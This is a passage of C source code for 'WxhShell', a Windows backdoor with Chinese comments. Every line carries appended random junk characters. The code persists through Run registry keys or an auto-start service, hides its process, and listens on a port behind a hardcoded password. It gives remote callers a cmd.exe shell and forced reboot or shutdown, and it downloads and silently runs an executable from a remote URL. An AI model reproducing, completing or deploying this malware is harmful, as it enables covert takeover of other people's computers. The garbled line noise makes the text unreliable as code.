    break; ^Q""N<  
    } BA cnFO  
  // 关机 $Hbd:1%i {  
  case 'd': { VA0p1AD  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); @8xa"Dc  
    if(Boot(SHUTDOWN)) XZ!^kftyW  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,zU7UL^I  
    else { WnZn$N.  
    closesocket(wsh); sFWH*k dP?  
    ExitThread(0); ,I|TjC5  
    } YsXf+_._  
    break; r>gU*bs(  
    } ]^ "BLbDZ@  
  // 获取shell NY!"?Zko  
  case 's': { ,.T k "\@  
    CmdShell(wsh); }iCcXZ&5^  
    closesocket(wsh); A*_ |/o  
    ExitThread(0); )+xHv  
    break; /QK H30E  
  } \"W _\&X  
  // 退出 vynchZ+g]  
  case 'x': { qz2j55j   
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); }m0hq+p^  
    CloseIt(wsh); xh raf1v3\  
    break; `L1lGlt  
    } o?\v 8.n  
  // 离开 E3<~C(APW  
  case 'q': { a}#Jcy!e  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); !>Ru= $9  
    closesocket(wsh); $2+(|VG4F  
    WSACleanup(); skR I \  
    exit(1); y%^TZ[S  
    break; +`H{  
        } 4+j:]poYG{  
  } SF2<   
  } L-\o zp  
GVl TW?5  
  // 提示信息 C].w)B  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); n:d7 Tv1Z8  
} z3X:.%  
  } a'm\6AW2)  
v<wR`7xG  
  return; EM&;SQ;C9  
} iYHC a }  
F;@A2WD  
// shell模块句柄 6V@?/B  
int CmdShell(SOCKET sock) ?}g#Mc  
{ )]~;A c^x  
STARTUPINFO si; ~G ZpAPg*  
ZeroMemory(&si,sizeof(si)); 2%F!aeX  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; N)H _4L  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ;YK{[$F  
PROCESS_INFORMATION ProcessInfo; d|c> Y(  
char cmdline[]="cmd";  @rT}V>2I  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ttaYtV]]  
  return 0; +W-,74A  
} M~/R1\'&j  
)Ap0" ?q  
// 自身启动模式 KKLW-V\6K  
int StartFromService(void) BDCFToSf|  
{ P)$q  
typedef struct XK 09x1r  
{ z8"(Yy7m  
  DWORD ExitStatus; 9?xc3F2EBD  
  DWORD PebBaseAddress; \X?GzQkr  
  DWORD AffinityMask; ^.f`6 6/  
  DWORD BasePriority; ^%:syg_RM[  
  ULONG UniqueProcessId; O] nZr  
  ULONG InheritedFromUniqueProcessId; 6+;B2;*3  
}   PROCESS_BASIC_INFORMATION; JG=U@I]  
aAX(M=3  
PROCNTQSIP NtQueryInformationProcess; 9WH  
)]?"H  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; |{8eoF  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; (VxWa#P  
7Vd"AVn}g  
  HANDLE             hProcess; "7T9d)  
  PROCESS_BASIC_INFORMATION pbi; kroO~(\  
edW:(19}  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Z} 8 m]I  
  if(NULL == hInst ) return 0; 0f<$S$~h  
ee=d*)  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); <&$:$_ah  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 1tNmiAu  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); HYkZMVH{  
pzPm(M1^X  
  if (!NtQueryInformationProcess) return 0; l"-F<^ U  
%?7j Q  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ] _ON\v1  
  if(!hProcess) return 0; :$#"; t|  
9W[ ~c"Ku  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; I>jDM  
?\l@k(w4[x  
  CloseHandle(hProcess); @6roW\'$  
#el i_Cxe  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); -brn&1oJ  
if(hProcess==NULL) return 0; F9SkEf]99  
mJ3|UClPS  
HMODULE hMod; xqua>!mqS  
char procName[255]; {{\ d5CkX  
unsigned long cbNeeded; pM^r8kIH  
6,*o;<k[  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); iB:](Md'r  
F5#P{ zk|  
  CloseHandle(hProcess); 9Fkzt=(E~  
S1R:/9 z  
if(strstr(procName,"services")) return 1; // 以服务启动 nDh D"rc  
]} + NT  
  return 0; // 注册表启动 V+M=@Pvp9  
} #!WD1a?L  
AxOn~fZ!  
// 主模块 hu G]kv3F:  
int StartWxhshell(LPSTR lpCmdLine) *{y/wgX  
{ >J \}&!8,  
  SOCKET wsl; `XJU$c  
BOOL val=TRUE; r3hUa4^97  
  int port=0; -]?F  
  struct sockaddr_in door; $g?`yE(K  
3%JPJuNVw  
  if(wscfg.ws_autoins) Install(); m R3km1T  
n;eK2+}]  
port=atoi(lpCmdLine); wV9[Jl\Z  
Hz&.]yts2J  
if(port<=0) port=wscfg.ws_port; (RL5L=,u  
#SzCd&hI  
  WSADATA data; <L72nwcK  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; "s6O|=^*  
42Gv]X  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   "t{|e6   
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); v/4Bt2J  
  door.sin_family = AF_INET; /puM3ZN  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); lP!`lhc-^  
  door.sin_port = htons(port); A7;|~??  
q0oNRAvn"  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 1i.t^PY  
closesocket(wsl); nI-^   
return 1; ;JK !dzi}  
} <oE(I)r4,  
UY_'F5X  
  if(listen(wsl,2) == INVALID_SOCKET) { !1:364  
closesocket(wsl); {hr+ENgV  
return 1; Wa8?o~0"L  
} 0;b%@_E  
  Wxhshell(wsl); J(\]39y  
  WSACleanup(); m|RA@sY%`  
;n9r;$!f  
return 0; \s.c.c*eh;  
Y+k)d^6r  
} &wlSOC')j  
?E@ 9Nvr  
// 以NT服务方式启动 ,~!rn}MI<  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Sc<%$ Gd  
{ +~6gP!  
DWORD   status = 0; Wm5/>Cu,  
  DWORD   specificError = 0xfffffff; H!D?;X  
vsjl8L  
  serviceStatus.dwServiceType     = SERVICE_WIN32; O>=D1no*  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; )V}u}5  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; .H,wdzg)  
  serviceStatus.dwWin32ExitCode     = 0; `XwFH#_  
  serviceStatus.dwServiceSpecificExitCode = 0; /A U& X  
  serviceStatus.dwCheckPoint       = 0; $6ZO V/0  
  serviceStatus.dwWaitHint       = 0; 6S;-fj  
f$lf(brQ:  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Ol,Tw=?  
  if (hServiceStatusHandle==0) return; qc*z`Wz:  
SWX;sM  
status = GetLastError(); 9` /\|t|V  
  if (status!=NO_ERROR) (W7cQ>  
{ =%4vrY `  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 7>g^OE f  
    serviceStatus.dwCheckPoint       = 0; 'NM$<<0  
    serviceStatus.dwWaitHint       = 0; +v 9@du  
    serviceStatus.dwWin32ExitCode     = status; 'g8~uP  
    serviceStatus.dwServiceSpecificExitCode = specificError; DQ{Yr>J  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 26Y Y1T\B)  
    return; L}bS"=B[&W  
  } ?jywW$   
!+?,y/*5(  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ,FvBZ.4c3=  
  serviceStatus.dwCheckPoint       = 0; : kVEB<G  
  serviceStatus.dwWaitHint       = 0; .c[v /SB]  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); MCOz-8@|Y  
} ^K4#_H#"  
r@_`ob RW;  
// 处理NT服务事件,比如:启动、停止 aj1o   
VOID WINAPI NTServiceHandler(DWORD fdwControl) >Lh+(M;+F  
{ 'J&&F2O%  
switch(fdwControl) .=WsB@+   
{ KJ Gh)  
case SERVICE_CONTROL_STOP: Z:l.{3J$  
  serviceStatus.dwWin32ExitCode = 0; \}0J%F1  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; kKV`9&dZe  
  serviceStatus.dwCheckPoint   = 0; hw?'aXK{  
  serviceStatus.dwWaitHint     = 0; ('/5#^%R  
  { Fm@G@W7,m  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); -saisH6  
  } sv<U$M~)X  
  return; yq{k:)  
case SERVICE_CONTROL_PAUSE: QGtKu:c.81  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 'CqWF"  
  break; \vBpH'hR,'  
case SERVICE_CONTROL_CONTINUE: #tyHjk  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; U"} ml  
  break; #]ZOi`;  
case SERVICE_CONTROL_INTERROGATE: =='~g~  
  break; 7l"N%e  
}; Zh?1+Sz&  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); O`nrXC{  
} <lHelX=/  
V9:h4]  
// 标准应用程序主函数 DP=4<ES%+  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) n3, ?klK  
{ D2$"!7O1H  
'Ldlo+*|5  
// 获取操作系统版本 FF:Y7wXW  
OsIsNt=GetOsVer(); zG_e=   
GetModuleFileName(NULL,ExeFile,MAX_PATH); eGrC0[SH  
>gAq/'.Q  
  // 从命令行安装 KmoPFlw  
  if(strpbrk(lpCmdLine,"iI")) Install(); Xg |_  
s 2t'jIB  
  // 下载执行文件 gf `uC0  
if(wscfg.ws_downexe) { p&w XRI  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) S0V%JY;Gv  
  WinExec(wscfg.ws_filenam,SW_HIDE); VXforI  
} 7xAzd# c?=  
zi~_[l-  
if(!OsIsNt) { "Jw6.q+  
// 如果时win9x,隐藏进程并且设置为注册表启动 ;eznONNF  
HideProc(); Dp 0   
StartWxhshell(lpCmdLine); _w+ix9Fr?  
} 2| u'J  
else 9/OB!<*V|  
  if(StartFromService()) krkRP%jy  
  // 以服务方式启动 c?i=6C dD'  
  StartServiceCtrlDispatcher(DispatchTable); 73?ZB+\)0A  
else ^ q]BCOfJ(  
  // 普通方式启动 FL 5u68  
  StartWxhshell(lpCmdLine); -Dw qoWZ  
vpOn0([hS  
return 0; 4&IBNc,sn  
} j_PICv*6  
K'[H`x^  
Fx']kn9  
^E&':6(  
=========================================== FHVZ/ e  
@,i_ KN6C  
o/E A%q1  
8UArl3  
,5" vzGLJ  
=:rR%L!a  
" IS0RhtGy/  
~c7}eTJd"  
#include <stdio.h> S_cba(0-|\  
#include <string.h> MF/359r)Et  
#include <windows.h> Ob+L|FbnN  
#include <winsock2.h> EB'(%dH  
#include <winsvc.h> tp2CMJc{L  
#include <urlmon.h> ;\=W=wL(  
hv 18V>8  
#pragma comment (lib, "Ws2_32.lib") yyJ4r}TE  
#pragma comment (lib, "urlmon.lib") _K{hq<g  
N%{&%C6{  
#define MAX_USER   100 // 最大客户端连接数 ;+XiDEX0}  
#define BUF_SOCK   200 // sock buffer "J(#|v0  
#define KEY_BUFF   255 // 输入 buffer iivuH2/~?[  
pX ]K-  
#define REBOOT     0   // 重启 mc_`:I=  
#define SHUTDOWN   1   // 关机 wXf_2qB9  
is`Eqcj`dr  
#define DEF_PORT   5000 // 监听端口 iQpKcBx  
CMa~BOt#  
#define REG_LEN     16   // 注册表键长度 gCAWRNp  
#define SVC_LEN     80   // NT服务名长度 aF4vNUeG  
hA)tad]  
// 从dll定义API w~>V2u_-  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); }0c  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);  Ex35  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Wbc*x  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); /X)fWO S6  
Hk%m`|Z  
// wxhshell配置信息 O.S(H1z<G  
struct WSCFG { `i0RLGze  
  int ws_port;         // 监听端口 '7}s25[{\  
  char ws_passstr[REG_LEN]; // 口令 z8+3/jLN0B  
  int ws_autoins;       // 安装标记, 1=yes 0=no  Z+ [Nco  
  char ws_regname[REG_LEN]; // 注册表键名 (NUwkAO M}  
  char ws_svcname[REG_LEN]; // 服务名 'M2Jw8i  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 UX=JWb_uGm  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 'S<ebwRd=  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 TfK$tTkM  
int ws_downexe;       // 下载执行标记, 1=yes 0=no eX$P k:  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" `-S6g^Y  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 0%.l|~CE&  
ZK4/o  
}; +.MHI   
. Rxz;-VA  
// default Wxhshell configuration FCU~*c8Cs  
struct WSCFG wscfg={DEF_PORT, dL5u-<y&  
    "xuhuanlingzhe", ; 1K[N0xE  
    1, 'bj$ZM9  
    "Wxhshell", OpmI" 4{+  
    "Wxhshell", 8E{<t}  
            "WxhShell Service", @%@uZqQ4  
    "Wrsky Windows CmdShell Service", ;cIs$  
    "Please Input Your Password: ", C#X|U2$  
  1, /m%Y.:g  
  "http://www.wrsky.com/wxhshell.exe", 1cWUPVQ  
  "Wxhshell.exe" !u)ve h3x  
    }; Y( n# =  
-#= v~vE  
// 消息定义模块 z>+@pj   
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; lil1$K: i  
char *msg_ws_prompt="\n\r? for help\n\r#>"; a%DnRkRr  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; K:/%7A_{  
char *msg_ws_ext="\n\rExit."; eZs34${fN  
char *msg_ws_end="\n\rQuit."; xS]=WO*  
char *msg_ws_boot="\n\rReboot..."; aLTC#c%U  
char *msg_ws_poff="\n\rShutdown..."; W>0 36  
char *msg_ws_down="\n\rSave to "; c*ac9Y'o  
mjG-A8y  
char *msg_ws_err="\n\rErr!"; * 3mF.^  
char *msg_ws_ok="\n\rOK!"; ) 2C`;\/:  
MDa 4U@Q  
char ExeFile[MAX_PATH]; dN J2pfvv  
int nUser = 0; h{I)^8,M  
HANDLE handles[MAX_USER]; DU#6%8~  
int OsIsNt; VqLqj$P  
z 7OTL<h  
SERVICE_STATUS       serviceStatus; d(zBd=;  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; W #E-vi+l  
TG'_1m*$  
// 函数声明 ^B~z .F i  
int Install(void); g|8G!7O  
int Uninstall(void); jV`xRjh  
int DownloadFile(char *sURL, SOCKET wsh); HYf&0LT<11  
int Boot(int flag); 0t ?:  
void HideProc(void); lpLjfHr  
int GetOsVer(void); GL'zs8AKf  
int Wxhshell(SOCKET wsl); yhg^1l|t,  
void TalkWithClient(void *cs); =dz  iR _  
int CmdShell(SOCKET sock); 0dA'f0Uy\X  
int StartFromService(void); 7 7"'?  
int StartWxhshell(LPSTR lpCmdLine); 5O<7<O B  
{j.5!Nj]B  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); <[Ae 0UK  
VOID WINAPI NTServiceHandler( DWORD fdwControl );  RSXYz8{  
yZ=wT,Y  
// 数据结构和表定义 `=8g%O|T  
SERVICE_TABLE_ENTRY DispatchTable[] = s,O:l0  
{ Q1?  !,a  
{wscfg.ws_svcname, NTServiceMain}, Nw'i;}0v7r  
{NULL, NULL} EE5I~k 5  
}; ]Sg4>tp  
pTPWToKh  
// 自我安装 I5PI;t+  
int Install(void) ZG>I[V'p=  
{ E$dPu  
  char svExeFile[MAX_PATH]; VeidB!GyP  
  HKEY key; cLn&b}8'  
  strcpy(svExeFile,ExeFile); IY2ca Xu  
< I[ Vv'x  
// 如果是win9x系统,修改注册表设为自启动 p =_K P9  
if(!OsIsNt) { ;HRIB)wF  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { `8xt!8Z$  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); :it52*3=  
  RegCloseKey(key); ] P;Ng=a  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Uc]S7F#  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 'H- : >'k  
  RegCloseKey(key); nn!W-Bsqjh  
  return 0; &OD)e@Tc  
    } E!w%oTx{OR  
  } `''\FPhh  
} V(n7hpS  
else { qB PUB(  
=Is.T  
// 如果是NT以上系统,安装为系统服务 v:kTZB  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ["VUSa  
if (schSCManager!=0) "HSAwe`5jU  
{ A46z2  
  SC_HANDLE schService = CreateService [`^5Zb  
  ( '=}F}[d"kk  
  schSCManager, J P'|v"  
  wscfg.ws_svcname, &y"e|aE  
  wscfg.ws_svcdisp, Y}BT| "  
  SERVICE_ALL_ACCESS, JJ_77i  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ,;9byb  
  SERVICE_AUTO_START, z/yNFY]i  
  SERVICE_ERROR_NORMAL, %7WGodlXW  
  svExeFile, *^+8_%;1  
  NULL, qELy'\  
  NULL, k_$:?$  
  NULL, ^F/gJ3_;  
  NULL, ]G m"U!h*  
  NULL H.#<&5f  
  ); R@_i$Df|  
  if (schService!=0) c+P.o.k;  
  { K1]m:Y<  
  CloseServiceHandle(schService); J+ tpBPmb  
  CloseServiceHandle(schSCManager); dV(61C0wn  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); T@0\z1,~S  
  strcat(svExeFile,wscfg.ws_svcname); cC@B\Q  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { k4Ed7T-  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); <RQ\nU  
  RegCloseKey(key); `{BY {  
  return 0; {1a%CsCM  
    } !0Hx1I<*x  
  } :(gZ\q">k  
  CloseServiceHandle(schSCManager); &0A^_Z .nA  
} z.EpRJn  
} ZdQt!  
,kiyx h^  
return 1; U'8+YAgc  
} 4 0as7.q  
{T EF#iF  
// 自我卸载 AP*Z0OFE  
int Uninstall(void) %DH2]B? 0  
{ e%_2n=p~)%  
  HKEY key; RQ}0f5~t  
6Ap-J~4  
if(!OsIsNt) { kOi@QLdN  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Hg<d%7.  
  RegDeleteValue(key,wscfg.ws_regname); VnqgN  
  RegCloseKey(key); xx[XwN;  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { '*K}$+l  
  RegDeleteValue(key,wscfg.ws_regname); "tax  
  RegCloseKey(key); i#c1 ZC  
  return 0; rt-^?2c?  
  } mOm_a9M L  
} ro:B[XE  
} M@\A_x(Mas  
else { j?a^fcXB  
op!8\rM<e  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Yn!)('FdT!  
if (schSCManager!=0) c8'a<<sj  
{ l0hcNEj{W  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); w"?H4  
  if (schService!=0) yb{ud  
  { 1nHQ)od  
  if(DeleteService(schService)!=0) { UqJ}5{rt  
  CloseServiceHandle(schService); wB%:RI,  
  CloseServiceHandle(schSCManager); ,T:Uk*Bj  
  return 0; Q7u/k$qN  
  } i|5.DhK}  
  CloseServiceHandle(schService); NF9fPAF%;  
  } [=f(u wY>g  
  CloseServiceHandle(schSCManager); O"%b@$p\L  
} 3QNu7oo  
} |"t)#BUtL  
1>5l(zK!9  
return 1; 1< 22,  
} IY$v%%2WZ  
C%#%_ "N  
// 从指定url下载文件 zvJQ@i"Z  
int DownloadFile(char *sURL, SOCKET wsh) Yi?X|"\`  
{ >J4Tk1//b  
  HRESULT hr; ([vyY}43h  
char seps[]= "/"; RRXnj#<g  
char *token; \9r1JP0  
char *file; ~=xiMB;oH  
char myURL[MAX_PATH]; W@"s~I6  
char myFILE[MAX_PATH]; Fog4m=b`g  
"gaurr3  
strcpy(myURL,sURL); $hND!T+;  
  token=strtok(myURL,seps); ;/hR#>ib  
  while(token!=NULL) >ucVrLm,X  
  { 'E_M, Y  
    file=token; v2Lx4:dzi  
  token=strtok(NULL,seps); l~_] k  
  } SQ$|s%)oB  
c*fMWtPp  
GetCurrentDirectory(MAX_PATH,myFILE); d2cslD d  
strcat(myFILE, "\\"); Kyn[4Bu!?  
strcat(myFILE, file); F@4TD]E0^  
  send(wsh,myFILE,strlen(myFILE),0); ^t p6G  
send(wsh,"...",3,0); (T&rvE  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); j` RuK  
  if(hr==S_OK) F6g)2&e{/  
return 0; 8\V  
else S}mZU!  
return 1; h!@t8R  
GPyr;FV!s  
} "#<P--E9  
q oA?  
// 系统电源模块 _f^JXd,7v  
int Boot(int flag) }vx+/J  
{ fLGZ@-qA0  
  HANDLE hToken; pv LA:LW2  
  TOKEN_PRIVILEGES tkp; ^v5v7\!  
]6)~Sj$ 5  
  if(OsIsNt) { Ev%_8CO4e  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); k4@$vxy0  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); yaDK_fk  
    tkp.PrivilegeCount = 1; kK62yz,  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; <in#_Of {E  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); whoM$  &  
if(flag==REBOOT) { ( L{>la!  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) )R~l@QBN  
  return 0; cu~dbv6H  
} IF>dsAAI<  
else { *F4"mr|\  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) yX`5x^wVw  
  return 0; "xr=:[n[  
} -XuRQ_)nG  
  } .zm/GtOV@  
  else { M/Twtq-`H  
if(flag==REBOOT) { ON.1'Wk?  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) -a^%9 U  
  return 0; pUp&eH  
} T6Oah:50EM  
else { B\<;e  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) {hP_"nN#  
  return 0; vOF"p4 ^3  
} V?yTJJ21X  
} cPx] :sC  
s|cL mL[  
return 1; k'(d$;Jgr  
} &"_5?7_N  
{jK:hQX  
// win9x进程隐藏模块 c3L)!]kB  
void HideProc(void) @2X{e7+D  
{ o+}>E31a  
o.o$dg(r!  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); per$%;5E"  
  if ( hKernel != NULL ) k Q Sx65  
  { xJNV^u  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); @Yu=65h  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); >GV(\In  
    FreeLibrary(hKernel); )qq5WShMJ  
  } !e<D2><^  
.+.'TY--  
return; d?9b6k?  
} /Wx({N'h$  
Kw/7X[|'G  
// 获取操作系统版本 BQOit.  
int GetOsVer(void) P{2ue`w[  
{ 1:.I0x!  
  OSVERSIONINFO winfo; ~uUN\qx52  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); j=],n8_i  
  GetVersionEx(&winfo); Ra!Br6  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) D_)i%k\  
  return 1; Yg~$1b@  
  else A.8[FkiNmD  
  return 0; *)8!~Hs   
} 4?u<i=i  
w4<n=k  
// 客户端句柄模块 Zf,9 k".'C  
int Wxhshell(SOCKET wsl) Szb#:C  
{ h!zev~u1)`  
  SOCKET wsh; SNUq  
  struct sockaddr_in client; F\Z|JCA  
  DWORD myID; SQS PdR+  
VfFXH,j  
  while(nUser<MAX_USER) flXDGoW  
{ V Kw33  
  int nSize=sizeof(client); 57S!X|CE  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); pWm==Ds|  
  if(wsh==INVALID_SOCKET) return 1; 141G~@-  
8TE2q Pm  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 0Mo?9??  
if(handles[nUser]==0) }2!=1|}  
  closesocket(wsh); JtbwY@R  
else <rbzsn"a  
  nUser++; 0rA&Q0  
  } zHg1K,t:  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); "NM SLqO  
gK#G8V-,  
  return 0; "C~Zl&3  
} <J o\RUx  
d7U%Q8?wUR  
// 关闭 socket =[D '3JB  
void CloseIt(SOCKET wsh) qF? n&>YG  
{ a0/[L  
closesocket(wsh); n#dvBK0M  
nUser--; t/KH`  
ExitThread(0); ETMF.-P  
} "oLY";0(=  
A?;KfVq  
// 客户端请求句柄 vFx0B?  
void TalkWithClient(void *cs) 0)0,&@])7  
{ I%b}qC"5M  
6E))4 lW  
  SOCKET wsh=(SOCKET)cs; 6qF9+r&e ?  
  char pwd[SVC_LEN]; '<!T'l:R:/  
  char cmd[KEY_BUFF]; wj$WE3Y  
char chr[1]; 4COo~d  
int i,j; hVl^vw7o  
H3Zs m)+:  
  while (nUser < MAX_USER) { J};=)xLX;  
Fs 95^T  
if(wscfg.ws_passstr) { d# >iFD+  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); {+N7o7  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); WW[Gne  
  //ZeroMemory(pwd,KEY_BUFF); )d =8)9B  
      i=0; @\}w8  
  while(i<SVC_LEN) { T:|PSJc0  
RK\$>KFE  
  // 设置超时 nN*:"F/^  
  fd_set FdRead; av:9kPKm  
  struct timeval TimeOut; `;v5o4.`  
  FD_ZERO(&FdRead); *,y .%`o  
  FD_SET(wsh,&FdRead); 7@u:F?c  
  TimeOut.tv_sec=8; 8Ben}j)H  
  TimeOut.tv_usec=0; =P)H3|AdIm  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 8;q2W F{AX  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); C9Xj)5k@R  
6 66f;h  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); +hL%8CVU M  
  pwd=chr[0]; =*'K'e>P3  
  if(chr[0]==0xd || chr[0]==0xa) { zv>7;En3  
  pwd=0; _I<LB0kgf.  
  break; Ef"M e(  
  } /s|4aro  
  i++; +)U>mm,  
    } --BS/L-  
C/{%f,rU  
  // 如果是非法用户,关闭 socket %]\IC(q  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); @";zM&  
} upefjwm  
 }0f"SWO>  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); s+7#TdhA  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); UR' P,  
rL3 f%L  
while(1) { M # ) @!  
.j l|? o  
  ZeroMemory(cmd,KEY_BUFF); tMOhH #  
i286`SLU  
      // 自动支持客户端 telnet标准   7 yp}  
  j=0; *)82iD  
  while(j<KEY_BUFF) { 1 2y+g5b  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); :J~sz)n4  
  cmd[j]=chr[0]; Y-y<gW  
  if(chr[0]==0xa || chr[0]==0xd) { 9yWQ}h  
  cmd[j]=0; >j}.~$6dj_  
  break; m6iQB\ \  
  } =ec"G2$?"  
  j++; |x/00XhS  
    } uh 3yiDj@a  
3 6-Sw  
  // 下载文件 M.h8Kr!.  
  if(strstr(cmd,"http://")) { w^N3Ma  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); kY.3x# w  
  if(DownloadFile(cmd,wsh)) *c{X\!YBh  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); # *)X+*  
  else :}{,u6\  
